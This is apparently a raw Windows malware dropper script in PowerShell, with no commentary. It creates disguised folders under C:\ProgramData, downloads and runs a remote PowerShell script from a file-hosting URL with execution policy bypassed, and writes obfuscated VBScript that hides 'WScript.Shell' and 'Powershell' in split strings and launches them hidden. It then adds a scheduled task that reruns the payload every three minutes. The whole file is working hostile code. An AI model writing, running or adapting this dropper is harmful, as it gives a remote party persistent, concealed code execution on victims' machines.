$xs1a = "C:\ProgramData\InteL\Microsoft"
New-Item $xs1a -ItemType Directory -Force

$xs1a = "C:\ProgramData\StartUp"
New-Item $xs1a -ItemType Directory -Force
start-sleep 2

$download_url = "https://www.uplooder.net/f/tl/8/01bf62c8c8c38ac9723ab56c01a18d0d/okj.ps1"
$local_path = "C:\ProgramData\InteL\Microsoft\spool.ps1"
$WebClient = New-Object System.Net.WebClient
$WebClient.DownloadFile($download_url, $local_path)





$Content = @'

taskkill /F /IM powershell.exe /T

PowerShell -NoProfile -ExecutionPolicy Bypass -Command C:\ProgramData\InteL\Microsoft\spool.ps1


'@
Set-Content -Path C:\ProgramData\InteL\Microsoft\spool.bat -Value $Content



$Content = @'



on error resume next
on error resume next
on error resume next
on error resume next
on error resume next
on error resume next
on error resume next
on error resume next
on error resume next
on error resume next
on error resume next
GJCF = ("t.S")
ANMC = ("p"+GJCF+"h")
PCLC = ("ri"+ANMC+"el")
UGOS = ("Sc")
Set OBJ1 = CreateObject("W"+UGOS+PCLC+"l")
NewPath = Replace("P@o@we@r@s@h@e@l@l@","@","")
BM = NewPath + " C:\ProgramData\InteL"
BM1 = "\Microsoft\xx.bat"
WScript.Sleep(2000)
OBJ1.Run BM+BM1,ChrW("4"+"8")


'@
Set-Content -Path C:\ProgramData\InteL\Microsoft\xx.vbs -Value $Content
$Content = @'

on error resume next

Set shell = CreateObject("WScript.Shell")
shell.CurrentDirectory = "C:\ProgramData\InteL\Microsoft\"
shell.Run "spool.bat" ,0
'@
Set-Content -Path C:\ProgramData\InteL\Microsoft\spool.vbs -Value $Content

$Content = @'


schtasks.exe /create /tn x. /sc minute  /mo 3 /tr "C:\ProgramData\InteL\Microsoft\spool.vbs"
'@
Set-Content -Path C:\ProgramData\InteL\Microsoft\xx.bat -Value $Content

start-sleep 7
$Q = "C:\ProgramData\InteL\Microsoft\xx.vbs"
start $Q